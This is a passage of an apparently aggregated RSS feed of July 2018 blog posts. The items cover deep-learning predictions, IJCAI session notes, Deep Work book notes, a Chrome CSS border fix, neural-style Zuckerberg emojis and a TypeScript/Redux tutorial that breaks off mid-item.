&lt;p&gt;The software will understand when we are depressed, or elated. It will allow for a lot of applications, from Tamagotchi 2.0 which observes your emotional state and adjusts accordingly to help you. This could mean that a personalized health app could determine which of your actions caused you to gain weight, or to get sick.&lt;/p&gt;

&lt;p&gt;When computers “understand” us, we will increasingly anthropomorphize our electronics and the services we use. Kind of like this lil robot dude on the left, with the red cup hat (Pintsize from &lt;a href="https://www.questionablecontent.net/"&gt;Questionble Content&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="https://d2mxuefqeaa7sj.cloudfront.net/s_8693AB3C4EA285AF5E5078A27AC973791AE717981C6A23981923C1E5086F4741_1532040394160_Screenshot+2018-07-19+15.42.18.png" /&gt;&lt;/p&gt;

&lt;p&gt;.. or C-3PO from star wars&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="https://d2mxuefqeaa7sj.cloudfront.net/s_8693AB3C4EA285AF5E5078A27AC973791AE717981C6A23981923C1E5086F4741_1532196728104_Screenshot+2018-07-21+11.12.00.png" /&gt;&lt;/p&gt;

&lt;p&gt;These algorithms, coupled with realistic and fast speech generation will be able to pass &lt;a href="https://en.wikipedia.org/wiki/Turing_test"&gt;the Turing test&lt;/a&gt;. Surveillance devices such a- Google Home, Alexa, or closed-circuit cameras will be able to utilize these for even deeper tracking of humans&lt;/p&gt;

&lt;p&gt;&lt;em&gt;🍭 Einstein from fifth graders. Massively parallel optimization and Deep merging&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Today, deep learning parallelizes the work it does by using GPU. GPU allows it to run through the pixels of each image much faster. But still optimization is a sequential process and requires you to go in each photo in the dataset in sequence. If you have a giant dataset, you’re stuck going through each example. It is still workable to a degree, but there can be datasets that require a cluster of hundreds or even thousands of computers just to store. To get to the massively parallel state, this would require merging the results of two or more independently trained network into a single network of roughly the same size.&lt;/p&gt;

&lt;p&gt;Such merging wouldn’t be combining the two network in an ensemble and calling it a day. It would be close to the result you would obtain if train separately. If we think of each parallel training as getting to the knowledge of a fifth grader, then with the combined intelligence of them, they can invent general relativity. After all, is Einstein really smarter than a fifth grader?&lt;/p&gt;

&lt;p&gt;To achieve this, there will need to be a way to merge the fifth-grader networks into a single network of roughly the same size. After all, a fifth grader ‘s brain is close in size to Einstein’s.&lt;/p&gt;

&lt;p&gt;Such merging can only work well for certain neural network architectures. I can’t tell you now how these architectures will look but I might be able to do so in ten years.&lt;/p&gt;

&lt;p&gt;Such merging might also need to require different specializations of the different fifth grader networks- one of them might be good at understanding physical intuition, other might be good at mathematics, and another might be good at imagining though experiments and yet another might be good at coordinating between them.&lt;/p&gt;

&lt;p&gt;Such process might be called something like decentralized collaborative learning. Or fifth grader learning 😂👌.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I expect deep learning to advance in ways which make it better at things that humans are good at such as modeling nature, modeling humans and working well in communities. It will also have a different name ten years from now, and I am rooting for ‘natural programming’.&lt;/p&gt;

&lt;p&gt;Do you buy my arguments? Do you have alternative predictions? I’d love to hear at comments@dimitarsimeonov.com or on Twitter at @themitak&lt;/p&gt;

&lt;p&gt;Hope you enjoyed the 🍭s&lt;/p&gt;</description><author>D13V</author><pubDate>Sun, 22 Jul 2018 09:19:38 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2018/07/22/predicting-the-future-part-1-deep-learning</guid></item><item><title>Plotting room temperature and humidity using Prometheus, Grafana and a DHT11 sensor</title><link>https://blog.erethon.com/blog/2018/07/22/plotting-room-temperature-and-humidity-using-prometheus-grafana-and-a-dht11-sensor/</link><description>&lt;p&gt;
Last week we installed an airconditioning unit in our house and
yesterday a &lt;a href="https://akizukidenshi.com/download/ds/aosong/DHT11.pdf"&gt;DHT11 humidity and temperature&lt;/a&gt; sensor arrived that I had
ordered in the past from ebay and had totally forgotten about it. So,
I got the idea to monitor the temperature and humidity in the room, to
see how well the airconditioning unit works.&lt;/p&gt;
&lt;p&gt;
What better way to do this than use Prometheus, Grafana and a spare
&lt;a href="https://www.raspberrypi.org/products/raspberry-pi-zero-w/"&gt;Raspverry Pi Zero W&lt;/a&gt; I had lying around.&lt;/p&gt;</description><author>Erethon's Corner</author><pubDate>Sun, 22 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.erethon.com/blog/2018/07/22/plotting-room-temperature-and-humidity-using-prometheus-grafana-and-a-dht11-sensor/</guid></item><item><title>Monetizing User Data on the Blockchain</title><link>https://olshansky.info/posts/monetizing-user-data-on-the-blockchain/</link><description>Note: This is a repost of a blog published in early 2018.</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 21 Jul 2018 00:31:19 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/posts/monetizing-user-data-on-the-blockchain/</guid></item><item><title>IJCAI Session Notes: Rebel Agents</title><link>https://liza.io/ijcai-session-notes-rebel-agents/</link><description>&lt;p&gt;What follows is a set of notes I took during two of the IJCAI Goal Reasoning workshop talks, about rebel agents. Both talks were presented by the same speaker and both focused on rebel agents. These talks were quite short and the speaker had to go fast, so I feel like I missed out on a lot of the information I wanted to record. As a result some parts are obviously omitted and more than usual are written from memory today, increasing potential inaccuracies or misinterpretations. Overall the impression I got of rebel agents is that in today&amp;rsquo;s climate it is a potentially somewhat inflammatory term for a very ethical trait. It seems that, potentially, any agent in a non-trivial domain would have to be a rebel agent and have the ability to go against its instructions in order to be an ethical agent.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Fri, 20 Jul 2018 14:14:17 GMT</pubDate><guid isPermaLink="true">https://liza.io/ijcai-session-notes-rebel-agents/</guid></item><item><title>Scala + Sbt + Docker quickly</title><link>https://ilearnt.com/blog/scaladocker/</link><description>&lt;p&gt;I am currently starting to learn Scala (to add to a myriad of other languages I have programmed in over my career). We are also in the process of &amp;ldquo;dockerizing&amp;rdquo; our application. So I wanted to try for myself getting a simple Scala application running in Docker.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Fri, 20 Jul 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/scaladocker/</guid></item><item><title>Blockchain tech VS blockchain NOW</title><link>https://stop.zona-m.net/2018/07/blockchain-tech-vs-blockchain-now/</link><description>&lt;p&gt;All you need to know about blockchain is here.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 20 Jul 2018 08:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/07/blockchain-tech-vs-blockchain-now/</guid></item><item><title>Modern Web Development</title><link>https://www.danstroot.com/posts/2018-07-20-modern-web-development</link><description>&lt;img alt="post image" src="https://danstroot.imgix.net/assets/blog/img/rekit.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Web development has evolved faster than nearly every other software engineering discipline. The pace of innovation has been relentless, and front-end developers are confronted with new frameworks, tools, and standards for “modern” web development **constantly**. Framework fatigue is real thing.&lt;br /&gt;&lt;br /&gt;This post &lt;a href="https://www.danstroot.com/posts/2018-07-20-modern-web-development"&gt;Modern Web Development&lt;/a&gt; first appeared on &lt;a href="https://www.danstroot.com"&gt;Dan Stroot's Blog&lt;/a&gt;</description><author>Dan Stroot</author><pubDate>Fri, 20 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.danstroot.com/posts/2018-07-20-modern-web-development</guid></item><item><title>Notes from Deep Work by Cal Newport</title><link>https://sean.lane.sh/posts/2018/07/Notes-from-Deep-Work-by-Cal-Newport/</link><description>&lt;p&gt;The following are some notes that I&amp;rsquo;ve gathered after reading &lt;a href="http://calnewport.com/books/deep-work/"&gt;Deep Work&lt;/a&gt; by &lt;a href="http://calnewport.com/"&gt;Cal Newport&lt;/a&gt;. I enjoyed the book, felt it has some concepts I want to apply in my life, so I condensed the precepts I wanted to remember into a form that would fit onto a single sheet of US letter paper. A link to that PDF can be found here: &lt;a href="https://sean.lane.sh/files/2018/deepwork.pdf"&gt;Deep Work Notes PDF&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h4 id="deep-work"&gt;Deep Work&lt;/h4&gt;
&lt;p&gt;&amp;ldquo;Professional activities performed in a state of distraction-free concentration that push your cognitive capabilities to their limit. These efforts create new value, improve your skill, and are hard to replicate.&amp;rdquo; Hard things are complex and require &lt;strong&gt;deliberate practice&lt;/strong&gt;. &amp;ldquo;Deep work is hard and shallow work is easier and in the absence of clear goals for your job, the visible busyness that surrounds shallow work becomes self-preserving.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;The new law of productivity is:&lt;/p&gt;
&lt;p&gt;$$\text{Productivity}~=~(\text{Time Spent}) \times (\text{Intensity of Focus})$$&lt;/p&gt;
&lt;h4 id="the-deep-work-hypothesis"&gt;The Deep Work Hypothesis&lt;/h4&gt;
&lt;p&gt;In the future of humanity, there will be three types of people who will survive and prosper:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Owners of capital or those with access to it&lt;/li&gt;
&lt;li&gt;Those work with intelligent machines and technology&lt;/li&gt;
&lt;li&gt;Superstars in their field of work&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Two skills neccessary for the latter two types:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Ability to quickly master hard things&lt;/li&gt;
&lt;li&gt;Ability to produce at an elite level, in terms of both quality and speed.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Four principles to achieve deep work:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Work Deeply: You must engage in deep work itself&lt;/li&gt;
&lt;li&gt;Embrace Boredom: Learn how to embrace, rather than avoid &amp;ldquo;boredom&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Quit Social Media: Adopt a tool only if it has substantial net benefits&lt;/li&gt;
&lt;li&gt;Drain the Shallows: Eliminate/reduce shallow work&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="1-work-deeply"&gt;1. Work Deeply&lt;/h4&gt;
&lt;p&gt;Willpower gets depleted as it&amp;rsquo;s used. &lt;strong&gt;Design routines and rituals to minimize the amount of willpower necessary&lt;/strong&gt; in transitions and maintain unbroken concentration. Four strategies to sustain deep work:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Monastic&lt;/strong&gt;: isolate yourself for long periods of time without distractions; no shallow work allowed&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bimodal&lt;/strong&gt;: reserve a few consecutive days for working like a monastic (at least one day a week)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rhythmic&lt;/strong&gt;: take three to four hours every day to perform deep work on your project&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Journalistic&lt;/strong&gt;: alternate your day between deep and shallow work and it fits your blocks of time. Not recommended to try out first&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="transition-to-deep-work"&gt;Transition to Deep Work&lt;/h5&gt;
&lt;p&gt;Decide on a working philosophy, then &lt;strong&gt;ruthlessly commit to scheduling deep work blocks&lt;/strong&gt; into your calendar and sticking to them. Schedule a specific time of the day in advance takes away the need to use willpower. Moreover, know where you’ll work and for how long and create a zone specifically to perform Deep Work. Then develop four disciplines:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Focus on the Wildly Important&lt;/strong&gt;: Keep a small number of really critical goals&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Act on Lead Measures&lt;/strong&gt;: Track behaviors that will drive success on what needs to improve&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Keep a Scoreboard&lt;/strong&gt;: Track deep work time and results&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Create a Cadence of Accountability&lt;/strong&gt;: Continual process that holds you accountable for your own productivity&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="2-embrace-boredom"&gt;2. Embrace Boredom&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Start scheduling breaks from focus&lt;/strong&gt;, to give in to those distractions: &amp;ldquo;To succeed with deep work you must rewire your brain to be comfortable resisting distracting stimuli.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use productive meditation&lt;/strong&gt;, which means using your “unproductive” time to do deep thinking. The key to successful productive meditation is &lt;strong&gt;repeatedly returning your attention to the problem at hand&lt;/strong&gt; and doing this whenever your mind wanders. You have to continually practice this in order to reap the benefits.&lt;/p&gt;
&lt;h4 id="3-quit-social-media"&gt;3. Quit Social Media&lt;/h4&gt;
&lt;p&gt;Identify the core factors that determine success and happiness in your professional and personal life. Adopt a tool only if its positive impacts on these factors substantially outweigh its negative impacts. Cal offers a simple way of doing a test run: without deactivating, stay off consciously from your social media of choice for 30 days. After 30 days, evaluate if it was impossible for you to stay away or were you greatly inconvenienced, and did anyone care?&lt;/p&gt;
&lt;h4 id="4-drain-the-shallows"&gt;4. Drain the Shallows&lt;/h4&gt;
&lt;p&gt;&amp;ldquo;&lt;strong&gt;Treat shallow work with suspicion&lt;/strong&gt; because its damage is often vastly underestimated and its importance vastly overestimated.&amp;rdquo; Confine it to a point where it doesn’t impede your deeper efforts that ultimately determine your impact.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Schedule every minute of your day&lt;/strong&gt; by using time blocking. &lt;strong&gt;Batch tasks together&lt;/strong&gt; into a specific synergistic time block – such as emailing, printing, ticket booking, etc. The batching of hard but important intellectual work into long, uninterrupted stretches is key to high productivity Don’t worry if you have to rewrite your schedule multiple times.&lt;/p&gt;
&lt;p&gt;Use &lt;strong&gt;fixed-schedule productivity&lt;/strong&gt; and don’t work beyond a certain time. Work backward to find productivity strategies that allow you to satisfy this constraint.&lt;/p&gt;</description><author>Posts on Sean Lane</author><pubDate>Thu, 19 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://sean.lane.sh/posts/2018/07/Notes-from-Deep-Work-by-Cal-Newport/</guid></item><item><title>Important IoT announcement</title><link>https://stop.zona-m.net/2018/07/important-iot-announcement/</link><description>&lt;p&gt;OK, that does it. I just discovered another incredible &amp;ldquo;Internet of Things&amp;rdquo; story, and I have something important to ask, and say, about it. Please share this as much as you can.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 18 Jul 2018 16:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/07/important-iot-announcement/</guid></item><item><title>A New Website and a Blog</title><link>https://www.masswerk.at/nowgobang/2018/a-new-website-and-a-blog</link><description>Initial post.</description><author>mass:werk – Now Go Bang!</author><pubDate>Wed, 18 Jul 2018 15:00:00 GMT</pubDate><guid isPermaLink="true">https://www.masswerk.at/nowgobang/2018/a-new-website-and-a-blog</guid></item><item><title>Our self-flying car future? Not so flying</title><link>https://stop.zona-m.net/2018/07/our-self-flying-car-future-not-so-flying/</link><description>&lt;p&gt;Self-flying cars can fly very fast&amp;hellip; until they meet two obstacles: transport optimization and&amp;hellip; other self-flying cars.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 18 Jul 2018 08:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/07/our-self-flying-car-future-not-so-flying/</guid></item><item><title>Internet costs 40 percent less. Aren't you happy?</title><link>https://stop.zona-m.net/2018/07/internet-costs-40-percent-less.-arent-you-happy/</link><description>&lt;p&gt;&amp;ldquo;Since, 2007, the price of electricity has gone down, along with the price of clothing and wireless phone service.&amp;rdquo; Is this great or not? I mean&amp;hellip;&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 17 Jul 2018 13:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/07/internet-costs-40-percent-less.-arent-you-happy/</guid></item><item><title>Links - July 17, 2018</title><link>https://faingezicht.com/links/2018/07/17/links/</link><description/><author>Avy Faingezicht</author><pubDate>Tue, 17 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2018/07/17/links/</guid></item><item><title>You can tell whether a man is clever by his answers. You can tell whether a man is wise by his questions</title><link>https://ho.dges.online/words/commonplace/you-can-tell-whether-a-man-is-clever-by-his-answers.-you-can-tell-whether-a-man-is-wise-by-his-questions/</link><description>&lt;p&gt;Naguib Mahfouz&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;You can tell whether a man is clever by his answers. You can tell whether a man is wise by his questions.&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;</description><author>ho.dges.online</author><pubDate>Tue, 17 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/you-can-tell-whether-a-man-is-clever-by-his-answers.-you-can-tell-whether-a-man-is-wise-by-his-questions/</guid></item><item><title>Disabling scroll-wheel zoom in Firefox</title><link>https://smcleod.net/2018/07/disabling-scroll-wheel-zoom-in-firefox/</link><description>&lt;p&gt;This feature annoys me endlessly, I end up zoomed in and out of websites all over the internet.
&amp;hellip; But the fix is easy and there&amp;rsquo;s no addons required.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Navigate to &lt;code&gt;about:config&lt;/code&gt; (in Firefox&amp;rsquo;s URL bar)&lt;/li&gt;
&lt;li&gt;Change the value of the following two properties to &lt;code&gt;0&lt;/code&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mousewheel.with_control.action
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mousewheel.with_meta.action
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you use Firefox sync and want these settings to sync between your machines, also add the following properties:&lt;/p&gt;
&lt;p&gt;Create two &lt;em&gt;new&lt;/em&gt; properties both of type &lt;code&gt;boolean&lt;/code&gt; and set them to &lt;code&gt;true&lt;/code&gt;:&lt;/p&gt;</description><author>smcleod.net</author><pubDate>Mon, 16 Jul 2018 13:57:14 GMT</pubDate><guid isPermaLink="true">https://smcleod.net/2018/07/disabling-scroll-wheel-zoom-in-firefox/</guid></item><item><title>Java Basic Programs: 5 Simple Examples</title><link>https://studiofreya.org/java/java-basic-programs-5-simple-examples/</link><description>&lt;p&gt;This tutorial explains how to start writing programs in Java with step by step examples and explanation. This is a very simple coding for beginners guide.&lt;/p&gt;
&lt;p&gt;We will show 5 basic examples of Java programs: how to print “Hello World!” in Java, how to print numbers from 1 to 10, how to add numbers and take user input, how to print a Christmas Tree pattern with stars in Java and how to reverse a string.&lt;/p&gt;</description><author>Studiofreya SSG Site</author><pubDate>Mon, 16 Jul 2018 12:00:25 GMT</pubDate><guid isPermaLink="true">https://studiofreya.org/java/java-basic-programs-5-simple-examples/</guid></item><item><title>Ocean's Thirteen</title><link>https://olshansky.info/movie/oceans_thirteen/</link><description>Olshansky's review of Ocean's Thirteen</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 16 Jul 2018 11:49:39 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/oceans_thirteen/</guid></item><item><title>IJCAI Session Notes: Learning Common Sense</title><link>https://liza.io/ijcai-session-notes-learning-common-sense/</link><description>&lt;p&gt;Below is another set of IJCAI session notes. This was the first invited talk in a day-long workshop called &lt;em&gt;Architectures and Evaluation for Generality, Autonomy &amp;amp; Progress in AI&lt;/em&gt; (AEGAP). The speaker, Oren Etzioni, talked about some of the work the Allen Institute is doing to drive the creation of common sense in AI. He focused especially on a need for a concrete benchmark to &lt;em&gt;measure&lt;/em&gt; results when it comes to implementing common sense. As before, these are mostly for myself, to sort through the notes in my head and revisit something a little more organized in the future. In addition to the talk itself these will cover the Q&amp;amp;A which followed.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Mon, 16 Jul 2018 10:04:33 GMT</pubDate><guid isPermaLink="true">https://liza.io/ijcai-session-notes-learning-common-sense/</guid></item><item><title>Fix for Chrome not rendering 1px borders</title><link>https://muffinman.io/blog/fix-for-chrome-not-rendering-borders/</link><description>&lt;article class="article"&gt;&lt;p&gt;This happened to me couple of times - borders would just randomly disappear in Chrome. All other browsers render them normally, but they just vanish in Chrome, on some screen sizes. Resizing helps sometimes, but I never was able to catch real pattern for reproducing.&lt;/p&gt;
&lt;p&gt;If this ever happens to you, there is a (hacky) solution.
Change border width from &lt;code&gt;1px&lt;/code&gt; to &lt;code&gt;thin&lt;/code&gt;.&lt;/p&gt;
&lt;pre class="language-css"&gt;&lt;code class="language-css code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token property"&gt;border&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; &lt;span class="token number"&gt;1&lt;/span&gt;&lt;span class="token unit"&gt;px&lt;/span&gt; solid &lt;span class="token hexcode color"&gt;#000&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;/* change it to: */&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token property"&gt;border&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; thin solid &lt;span class="token hexcode color"&gt;#000&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Although I don&amp;#x27;t like it, as it is a hacky workaround and I don&amp;#x27;t really understand why it works, it does solve the issue.&lt;/p&gt;
&lt;p&gt;It seems that I&amp;#x27;m not the only one having &lt;a href="https://productforums.google.com/forum/#!topic/chrome/r1neUxqo5Gc"&gt;this problem&lt;/a&gt;.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Mon, 16 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/fix-for-chrome-not-rendering-borders/</guid></item><item><title>Remap Caps Lock to Escape and Control</title><link>https://www.dannyguo.com/blog/remap-caps-lock-to-escape-and-control</link><author>Danny Guo</author><pubDate>Mon, 16 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.dannyguo.com/blog/remap-caps-lock-to-escape-and-control</guid></item><item><title>Zuckerberg emojis</title><link>https://rybakov.com/blog/zuckerberg_emojis/</link><description>&lt;p&gt;&lt;figure class=""&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/sadmark4.jpg" /&gt;



&lt;figcaption&gt;
	Squint your eyes!
&lt;/figcaption&gt;


&lt;/figure&gt;&lt;br /&gt;&lt;/p&gt;
&lt;!-- Facebook curates the emotional reactions you can communicate while you are using it. When communicating in person or with text you can contruct your reaction from a large amount of subtle variations. Facebook however makes you react in a generalized - but oddly specific - way. These emojis show facial expressions close to the extreme ends of the scale, they are not subtle. 

As facebook forces us to use and wear the mask of emotional expressions predefined by them, it makes sense to reverse the process and force Mark Zuckerberg, as the face of facebook, to wear the same expressions.


Facebook curates the emotional reaction you can express through the choice and design of their emojis. 
When communicating in text or in person you can construct your expression from a large amount of subtle variations. Facebook however lets you react in a generalized - but oddly specific - way. We use these emojis and unconciosly wear the mask of these particular, predefined facial expressions.



 --&gt;
&lt;p&gt;You&amp;rsquo;d think an emoji would be a clear and precise representation of an emotion. However the difference in rendering on different devices provides a great &lt;a href="https://grouplens.org/blog/investigating-the-potential-for-miscommunication-using-emoji/"&gt;potential for miscommunication&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But even on the same platform, the kind of emotional reaction you may express is curated through the choice and design of available emojis.
Take Facebook for example. The five Facebook emojis give you broad expressive capabilities, yet their design is very specific - and close to the extreme ends of the emotional scale. When using emojis, we wear these slightly too big masks of these particular, predefined facial expressions. We are becoming them.&lt;/p&gt;
&lt;p&gt;I decided to reverse the process, to add body to the digital expression. That body should be, of course, that of Mark Zuckerberg.&lt;/p&gt;
&lt;p&gt;Here are the results, created through disembodied neural networks.&lt;/p&gt;
&lt;p&gt;&lt;figure class=""&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/hahamark4.jpg" /&gt;




&lt;/figure&gt;&lt;br /&gt;
&lt;figure class=""&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/wowmark4.jpg" /&gt;




&lt;/figure&gt;&lt;br /&gt;
&lt;figure class=""&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/angrymark4.jpg" /&gt;



&lt;figcaption&gt;
	I think CNNMRF grew the eyes from the hair, from the imagined eyebrows it found.
&lt;/figcaption&gt;


&lt;/figure&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How it&amp;rsquo;s done:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;First &lt;a href="https://github.com/chuanli11/CNNMRF"&gt;CNNMRF&lt;/a&gt; populated the emoticons with features of Marks face. It especially likes eyes and hair. I then used &lt;a href="https://github.com/msracver/Deep-Image-Analogy/"&gt;Deep-Image-Analogy&lt;/a&gt; to add more features, contrast, structure and adjust histogram. Finally &lt;a href="https://github.com/jcjohnson/neural-style/"&gt;jcjohnsons neural-style&lt;/a&gt; was used to upscale the image while adding texture.&lt;/p&gt;
&lt;p&gt;&lt;figure class="full"&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/zuckoji2.jpg" /&gt;



&lt;figcaption&gt;
	1.Original 2.CNNMRF result 3. Deep Image Analogy output 4.Upscaled with Neural-style
&lt;/figcaption&gt;


&lt;/figure&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Stickers for Telegram now available: &lt;a href="https://t.me/addstickers/cursedmark"&gt;https://t.me/addstickers/cursedmark&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Got a question? Just &lt;a href="../about"&gt;ask&lt;/a&gt; me.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Sun, 15 Jul 2018 17:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/zuckerberg_emojis/</guid></item><item><title>IJCAI Session Notes: Verifying Agent Based Autonomous Systems</title><link>https://liza.io/ijcai-session-notes-verifying-agent-based-autonomous-systems/</link><description>&lt;p&gt;For the past couple of days I&amp;rsquo;ve been at IJCAI - the International Joint Conference on Artificial Intelligence. It&amp;rsquo;s been a three-day whirlwind of workshops and tutorials. I took &lt;em&gt;a lot&lt;/em&gt; of notes, and as with ECAL last year I figured organizing them into blog posts would be a good way to review some of the takeaways. Note that the intended audience here is future-me, and I could very well have made mistakes or misinterpretations in my own notes. Also apologies about any typos.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sun, 15 Jul 2018 15:04:33 GMT</pubDate><guid isPermaLink="true">https://liza.io/ijcai-session-notes-verifying-agent-based-autonomous-systems/</guid></item><item><title>AutoCLI</title><link>https://www.anardil.net/2018/autocli.html</link><description>&lt;p&gt;Manage large numbers of scripts with generated menus&lt;/p&gt;</description><author>Anardil</author><pubDate>Sun, 15 Jul 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://www.anardil.net/2018/autocli.html</guid></item><item><title>Pcal6416a Getting Started</title><link>https://blog.herlein.com/post/pcal6416a-getting-started/</link><description>&lt;p&gt;I2C Port Expander for Robotics Use - Getting Started with the NXP PCAL6416A&lt;/p&gt;</description><author>Greg Herlein</author><pubDate>Sun, 15 Jul 2018 05:32:04 GMT</pubDate><guid isPermaLink="true">https://blog.herlein.com/post/pcal6416a-getting-started/</guid></item><item><title>Amsterdam travel bookmarks</title><link>https://xenodium.com/amsterdam-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://belowthesurface.amsterdam/en/"&gt;Below the Surface: The archaeological finds of the North / Southline in Amsterdam&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 15 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/amsterdam-travel-bookmarks</guid></item><item><title>Part Two: Using Typescript with Redux</title><link>https://dylanpaulus.com/posts/2018/using-typescript-with-redux-part-two/</link><description>&lt;p&gt;&lt;a href="https://codesandbox.io/s/5w70j1916l"&gt;&lt;img alt="Click Here" src="https://codesandbox.io/static/img/play-codesandbox.svg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Last time we went through using Typescript with React, and setup a small counter application. A lot of applications out there use Redux. A common pain-point for me was how to setup Typescript with Redux--it's a common hurdle with my team also. Though Redux is a totally different library, it holds a big share of the state management market in React applications. In part two we'll take a detour from base React, and look at converting our counter to using Redux!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note: Same with part one, I'm going to assume Typescript, and now Redux, is setup and compiles. This is a write-up on integrating types, and less on how to setup a project.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Actions&lt;/h3&gt;
&lt;p&gt;We'll start out creating a few actions for our counter.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Action Types
export const INCREMENT = "INCREMENT";
export const DECREMENT = "DECREMENT";

export type ActionTypes = typeof INCREMENT | typeof DECREMENT;

export interface IAction {
  type: ActionTypes;
  payload: IPayload;
}

export interface IPayload {
  amount: number;
}

// Action Creators
export function increment(amount: number): IAction {
  return {
    type: INCREMENT,
    payload: {
      amount,
    },
  };
}

export function decrement(amount: number): IAction {
  return {
    type: DECREMENT,
    payload: {
      amount,
    },
  };
}
&lt;/code&gt;&lt;/pre&gt;
